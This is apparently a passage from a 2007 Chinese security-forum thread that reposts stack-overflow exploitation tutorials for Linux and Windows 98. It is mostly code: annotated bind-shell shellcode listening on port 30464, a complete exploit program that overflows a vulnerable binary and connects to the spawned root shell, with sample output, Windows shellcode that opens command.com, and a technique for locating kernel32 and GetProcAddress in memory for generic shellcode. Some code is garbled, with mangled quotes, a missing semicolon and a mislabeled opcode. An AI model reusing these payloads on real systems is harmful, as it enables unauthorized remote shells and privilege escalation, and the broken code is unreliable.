"\x89\x46\x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x04" /* movb $0x4,%bl */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

accept(soc,0,0)的汇编代码

------------------------------------------------------------------------

----

/* accept使用66号系统调用,5号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"\x89\xf1" /* movl %esi,%ecx */

"\x89\xf1" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"\x31\xc0" /* xorl %eax,%eax */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

/* 第三个参数. */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x05" /* movb $0x5,%bl */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

dup2(cli,0)的汇编代码

------------------------------------------------------------------------

----

/* 第一个参数为 %ebx, 第二个参数为 %ecx */

char code[]=

/* %eax 里面是刚才accept调用的返回值, */

/* 客户的文件描述符cli . */

"\x88\xc3" /* movb %al,%bl */

"\xb0\x3f" /* movb $0x3f,%al */

"\x31\xc9" /* xorl %ecx,%ecx */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

new shellcode

------------------------------------------------------------------------

----

char shellcode[]=

00 "\x31\xc0" /* xorl %eax,%eax */

02 "\xb0\x02" /* movb $0x2,%al */

04 "\xcd\x80" /* int $0x80 */

06 "\x85\xc0" /* testl %eax,%eax */

08 "\x75\x43" /* jne 0x43 */

/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */

/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */

0a "\xeb\x43" /* jmp 0x43 */

/* 当fork()==0 的时候,表明是子进程 */

/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

0c "\x5e" /* popl %esi */

0d "\x31\xc0" /* xorl %eax,%eax */

0f "\x31\xdb" /* xorl %ebx,%ebx */

11 "\x89\xf1" /* movl %esi,%ecx */

13 "\xb0\x02" /* movb $0x2,%al */

15 "\x89\x06" /* movl %eax,(%esi) */

17 "\xb0\x01" /* movb $0x1,%al */

19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

1c "\xb0\x06" /* movb $0x6,%al */

1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */

21 "\xb0\x66" /* movb $0x66,%al */

23 "\xb3\x01" /* movb $0x1,%bl */

25 "\xcd\x80" /* int $0x80 */

/* 执行socket(),eax里面为返回值soc文件描述符 */

27 "\x89\x06" /* movl %eax,(%esi) */


--  作者:卷积内核
--  发布时间:11/6/2007 8:33:00 AM

--  
29 "\xb0\x02" /* movb $0x2,%al */

2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

2f "\xb0\x77" /* movb $0x77,%al */

31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

3b "\x31\xc0" /* xorl %eax,%eax */

3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */

40 "\xb0\x10" /* movb $0x10,%al */

42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

45 "\xb0\x66" /* movb $0x66,%al */

47 "\xb3\x02" /* movb $0x2,%bl */

49 "\xcd\x80" /* int $0x80 */

/* 执行bind() */

4b "\xeb\x04" /* jmp 0x4 */

/* 越过下面的两个跳转 */

4d "\xeb\x55" /* jmp 0x55 */

/* 跳到0x4f+0x55=0xa4 */

4f "\xeb\x5b" /* jmp 0x5b */

/* 跳到0x51+0x5b=0xac */

51 "\xb0\x01" /* movb $0x1,%al */

53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

56 "\xb0\x66" /* movb $0x66,%al */

58 "\xb3\x04" /* movb $0x4,%bl */

5a "\xcd\x80" /* int $0x80 */

/* 执行listen() */

5c "\x31\xc0" /* xorl %eax,%eax */

5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */

61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

64 "\xb0\x66" /* movb $0x66,%al */

66 "\xb3\x05" /* movb $0x5,%bl */

68 "\xcd\x80" /* int $0x80 */

/* 执行accept(),eax里面为返回值cli文件描述符 */

6a "\x88\xc3" /* movb %al,%bl */

6c "\xb0\x3f" /* movb $0x3f,%al */

6e "\x31\xc9" /* xorl %ecx,%ecx */

70 "\xcd\x80" /* int $0x80 */

72 "\xb0\x3f" /* movb $0x3f,%al */

74 "\xb1\x01" /* movb $0x1,%cl */

76 "\xcd\x80" /* int $0x80 */

78 "\xb0\x3f" /* movb $0x3f,%al */

7a "\xb1\x02" /* movb $0x2,%cl */

7c "\xcd\x80" /* int $0x80 */

/* 执行三个dup2() */

7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

/* %eax="/bin" */

83 "\x89\x06" /* movl %eax,(%esi) */

85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

/* %eax="/sh/" */

8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */

8d "\x31\xc0" /* xorl %eax,%eax */

8f "\x88\x46\x07" /* movb %al,0x7(%esi) */

92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */

95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

98 "\xb0\x0b" /* movb $0xb,%al */

9a "\x89\xf3" /* movl %esi,%ebx */

9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

a2 "\xcd\x80" /* int $0x80 */

/* 执行execve() */

/* 运行/bin/sh() */

a4 "\x31\xc0" /* xorl %eax,%eax */

a6 "\xb0\x01" /* movb $0x1,%al */

a8 "\x31\xdb" /* xorl %ebx,%ebx */

aa "\xcd\x80" /* int $0x80 */

/* 执行exit() */

ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */

/* 执行0x0c处的指令 */

b1

------------------------------------------------------------------------

----

好,长长的shell终于写完了,下面就是攻击程序了。

exploit4.c

------------------------------------------------------------------------

----

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<netdb.h>

#include<netinet/in.h>

#define ALIGN 0

#define OFFSET 0

#define RET_POSITION 1024

#define RANGE 200

#define NOP 0x90

char shellcode[]=


--  作者:卷积内核
--  发布时间:11/6/2007 8:33:00 AM

--  
"\x31\xc0" /* xorl %eax,%eax */

"\xb0\x02" /* movb $0x2,%al */

"\xcd\x80" /* int $0x80 */

"\x85\xc0" /* testl %eax,%eax */

"\x75\x43" /* jne 0x43 */

"\xeb\x43" /* jmp 0x43 */

"\x5e" /* popl %esi */

"\x31\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\x89\xf1" /* movl %esi,%ecx */

"\xb0\x02" /* movb $0x2,%al */

"\x89\x06" /* movl %eax,(%esi) */

"\xb0\x01" /* movb $0x1,%al */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

"\xb0\x06" /* movb $0x6,%al */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x01" /* movb $0x1,%bl */

"\xcd\x80" /* int $0x80 */

"\x89\x06" /* movl %eax,(%esi) */

"\xb0\x02" /* movb $0x2,%al */

"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

"\xb0\x77" /* movb $0x77,%al */

"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

"\x31\xc0" /* xorl %eax,%eax */

"\x89\x46\x10" /* movl %eax,0x10(%esi) */

"\xb0\x10" /* movb $0x10,%al */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x02" /* movb $0x2,%bl */

"\xcd\x80" /* int $0x80 */

"\xeb\x04" /* jmp 0x4 */

"\xeb\x55" /* jmp 0x55 */

"\xeb\x5b" /* jmp 0x5b */

"\xb0\x01" /* movb $0x1,%al */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x04" /* movb $0x4,%bl */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x05" /* movb $0x5,%bl */

"\xcd\x80" /* int $0x80 */

"\x88\xc3" /* movb %al,%bl */

"\xb0\x3f" /* movb $0x3f,%al */

"\x31\xc9" /* xorl %ecx,%ecx */

"\xcd\x80" /* int $0x80 */

"\xb0\x3f" /* movb $0x3f,%al */

"\xb1\x01" /* movb $0x1,%cl */

"\xcd\x80" /* int $0x80 */

"\xb0\x3f" /* movb $0x3f,%al */

"\xb1\x02" /* movb $0x2,%cl */

"\xcd\x80" /* int $0x80 */

"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

"\x89\x06" /* movl %eax,(%esi) */

"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

"\x31\xc0" /* xorl %eax,%eax */

"\x88\x46\x07" /* movb %al,0x7(%esi) */

"\x89\x76\x08" /* movl %esi,0x8(%esi) */

"\x89\x46\x0c" /* movl %eax,0xc(%esi) */

"\xb0\x0b" /* movb $0xb,%al */

"\x89\xf3" /* movl %esi,%ebx */

"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\xb0\x01" /* movb $0x1,%al */

"\x31\xdb" /* xorl %ebx,%ebx */

"\xcd\x80" /* int $0x80 */

"\xe8\x5b\xff\xff\xff" /* call -0xa5 */

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

long getip(char *name)

{

struct hostent *hp;

long ip;

if((ip=inet_addr(name))==-1)

{

if((hp=gethostbyname(name))==NULL)


--  作者:卷积内核
--  发布时间:11/6/2007 8:34:00 AM

--  
{

fprintf(stderr,"Can"t resolve host.\n");

exit(0);

}

memcpy(&ip,(hp->h_addr),4);

}

return ip;

}

int exec_sh(int sockfd)

{

char snd[4096],rcv[4096];

fd_set rset;

while(1)

{

FD_ZERO(&rset);

FD_SET(fileno(stdin),&rset);

FD_SET(sockfd,&rset);

select(255,&rset,NULL,NULL,NULL);

if(FD_ISSET(fileno(stdin),&rset))

{

memset(snd,0,sizeof(snd));

fgets(snd,sizeof(snd),stdin);

write(sockfd,snd,strlen(snd));

}

if(FD_ISSET(sockfd,&rset))

{

memset(rcv,0,sizeof(rcv));

if(read(sockfd,rcv,sizeof(rcv))<=0)

exit(0);

fputs(rcv,stdout);

}

}

}

int connect_sh(long ip)

{

int sockfd,i;

struct sockaddr_in sin;

printf("Connect to the shell\n");

fflush(stdout);

memset(&sin,0,sizeof(sin));

sin.sin_family=AF_INET;

sin.sin_port=htons(30464);

sin.sin_addr.s_addr=ip;

if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)

{

printf("Can"t create socket\n");

exit(0);

}

if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)

{

printf("Can"t connect to the shell\n");

exit(0);

}

return sockfd;

}

void main(int argc,char **argv)

{

char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;

long addr;

unsigned long sp;

int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

int i;

int sockfd;

if(argc>1)

offset=atoi(argv[1]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

{

buff[i+ALIGN]=(addr&0x000000ff);

buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

buff[i+ALIGN+3]=(addr&0xff000000)>>24;

}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

buff[bsize-1]="\0"

printf("Jump to 0x%08x\n",addr);

if(fork()==0)

{

execl("./vulnerable","vulnerable",buff,0);

exit(0);

}

sleep(5);

sockfd=connect_sh(getip("127.0.0.1"));

exec_sh(sockfd);

}

------------------------------------------------------------------------

----

算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标

程序

来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的

shellcode被

执行,那么在30464端口就会有server在listen了。

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket

读取

收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端

下面来试一试:

我们先写一个漏洞程序:

vulnerable.C

------------------------------------------------------------------------

----

#include <stdio.h>

int main(int argc,char ** argv)

{

char buffer[1000];

printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));

strcpy(buffer,argv[1]);

return 0;

}

------------------------------------------------------------------------


--  作者:卷积内核
--  发布时间:11/6/2007 8:34:00 AM

--  
----

[nkl10]$ ./exploit

Jump to 0xbffff63c

I am herebffff280,buffer1224

Connect to the shell

Can"t connect to the shell

看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样

就可以

不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

[nkl10]$./exploit 956

Jump to 0xbffff280

I am herebffff280,buffer1224

connect to shell

whoami

root

id

uid=0(root)......

uname -a

Linux localhost.localdomain 2.2.5-15。。。

嘿嘿,大功告成了。

---------------------------------------------------------------

window系统下的堆栈溢出--原理篇

这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:

#include <stdio.h>

int main()

{

char name[32];

gets(name);

for(int i=0;i<32&&name[i];i++)

printf("\\0x%x",name[i]);

}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaa

\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0

x61\0x61

\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0

x61\0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我

们。

这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏

移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1

12345678910111213141516171819202122232425262728293031323334353637383940

\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0

x32\0x31

\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0

x30\0x32

到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细

信息

按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块

<未知> 中导致无效页错误。

Registers:

EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246

EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233

ECX=00000020 DS=0187 ESI=816bffcc FS=11df

EDX=00411a68 ES=0187 EDI=00000000 GS=0000

Bytes at CS:EIP:

Stack dump:

32383237 33303339 33323331 33343333 33363335 33383337 c0000005

0064ff68

0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78

bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name

变量

地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的

shellcode。

我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始

地址

是多少呢?

通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在

windows

系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检

测,

出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析

溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:

#include <windows.h>

#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);

int main()

{


--  作者:卷积内核
--  发布时间:11/6/2007 8:34:00 AM

--  
HINSTANCE LibHandle;

MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll"

char sysbuf[7] = "system"

char cmdbuf[16] = "command.com"

LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;

}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个

dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由

msvcrt.dll

(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从

0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,

msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,

system)

获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);

00401075 lea edx,dword ptr [dllbuf]

00401078 push edx

00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]

0040107F mov dword ptr [LibHandle],eax

16:

17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

00401082 lea eax,dword ptr [sysbuf]

00401085 push eax

00401086 mov ecx,dword ptr [LibHandle]

00401089 push ecx

0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]

00401090 mov dword ptr [ProcAdd],eax

;现在,eax的值为0x78019824就是system的真实地址。

;这个地址对于我的机器而言是唯一的。不用每次都找了。

18:

19: (ProcAdd) (cmdbuf);

00401093 lea edx,dword ptr [cmdbuf]

;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址

00401096 push edx

00401097 call dword ptr [ProcAdd]

0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

#include <windows.h>

#include <winbase.h>

void main()

{

LoadLibrary("msvcrt.dll");

__asm {

mov esp,ebp ;把ebp的内容赋值给esp

push ebp ;保存ebp,esp-4

mov ebp,esp ;给ebp赋新值,将作为局部变量

的基指针

xor edi,edi ;

push edi ;压入0,esp-4,

;作用是构造字符串的结尾\0字符

sub esp,08h ;加上上面,一共有12个字节,

;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ;

mov byte ptr [ebp-0bh],6fh ;

mov byte ptr [ebp-0ah],6dh ;

mov byte ptr [ebp-09h],6Dh ;

mov byte ptr [ebp-08h],61h ;

mov byte ptr [ebp-07h],6eh ;

mov byte ptr [ebp-06h],64h ;

mov byte ptr [ebp-05h],2Eh ;

mov byte ptr [ebp-04h],63h ;

mov byte ptr [ebp-03h],6fh ;

mov byte ptr [ebp-02h],6dh ;生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ;串地址作为参数入栈

mov eax, 0x78019824 ;

call eax ;调用system

}

}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我

们的

程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */


--  作者:卷积内核
--  发布时间:11/6/2007 8:35:00 AM

--  
0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个

shellcode:

#include <windows.h>

#include <winbase.h>

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

int main() {

int *ret;

LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址

//(+2是因为:有push ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地

址。

}

编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆

栈溢出

的能力了,下面,我们通过实战来真正掌握他。

--------------------------------------------------------------

WINDOWS的SHELLCODE编写高级技巧

作者:yuange

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出

再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比

较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET

连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80

规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写

WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。

1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出

点大致范围就可以了。

2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP

ESP功能的指令地址就可以定位了。

3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4

、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解

码,这样编写SHELLCODE就可以不用考虑特殊字符了。

6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用

GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个

API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里

面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和

GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在

内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要

是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()

{

int *except[3];

FARPROC procgetadd=0;

char *stradd;

int imgbase,fnbase,i,k,l;

HANDLE libhandle;

_asm {


--  作者:卷积内核
--  发布时间:11/6/2007 8:35:00 AM

--  
jmp nextcall

getstradd: pop stradd

lea EDI,except

mov eax,dword ptr FS:[0]

mov dword ptr [edi+0x08],eax

mov dword ptr FS:[0],EDI

}

except[0]=0xffffffff;

except[1]=stradd-0x07;

/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd

}

/* 得到异常后的返回地址 */

for(;imgbase<0xbffa0000,procgetadd==0;){

imgbase+=0x10000;

/* 模块地址是64K为单位,加快速度*/

if(imgbase==0x78000000) imgbase=0xbff00000;

/* 如果到这还没有搜索到,那可能是WIN9X系统 */

if(*( WORD *)imgbase=='ZM'&& *(WORD *)

(imgbase+*(int *)(imgbase+0x3c))=='EP'){

/* 模块结构的模块头 */

fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

k=*(int *)(fnbase+0xc)+imgbase;

if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

/* 模块名 */

libhandle=imgbase;

/* 得到模块头地址,就是模块句柄 */

k=imgbase+*(int *)(fnbase+0x20);

for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

/* 引出名 */

k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

k+=*(int *)(fnbase+0x10)-1;

k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

procgetadd=k+imgbase;

/* API地址 */

break;

}

}

}

}

}

// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址

// 注意这儿处理了搜索页面不在情况。

_asm{

lea edi,except

mov eax,dword ptr [edi+0x08]

mov dword ptr fs:[0],eax

}

/* 恢复异常结构链 */

if(procgetadd==0) goto die ;

/* 如果没找到GetProcAddress地址死循环 */

die: goto die ;

_asm{

getexceptretadd: pop eax

push eax

mov edi,dword ptr [stradd]

mov dword ptr [edi-0x0e],eax

ret

/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */

errprogram: mov eax,dword ptr [esp+0x0c]

add eax,0xb8

mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改异常返回EIP指针 */

xor eax,eax //2

/* 不提示异常 */

ret //1

/* 异常处理返回 */

execptprogram: jmp errprogram //2 bytes stradd-7

nextcall: call getstradd //5 bytes

}

}

(完)


W 3 C h i n a ( since 2003 ) 旗 下 站 点
苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
5,734.375ms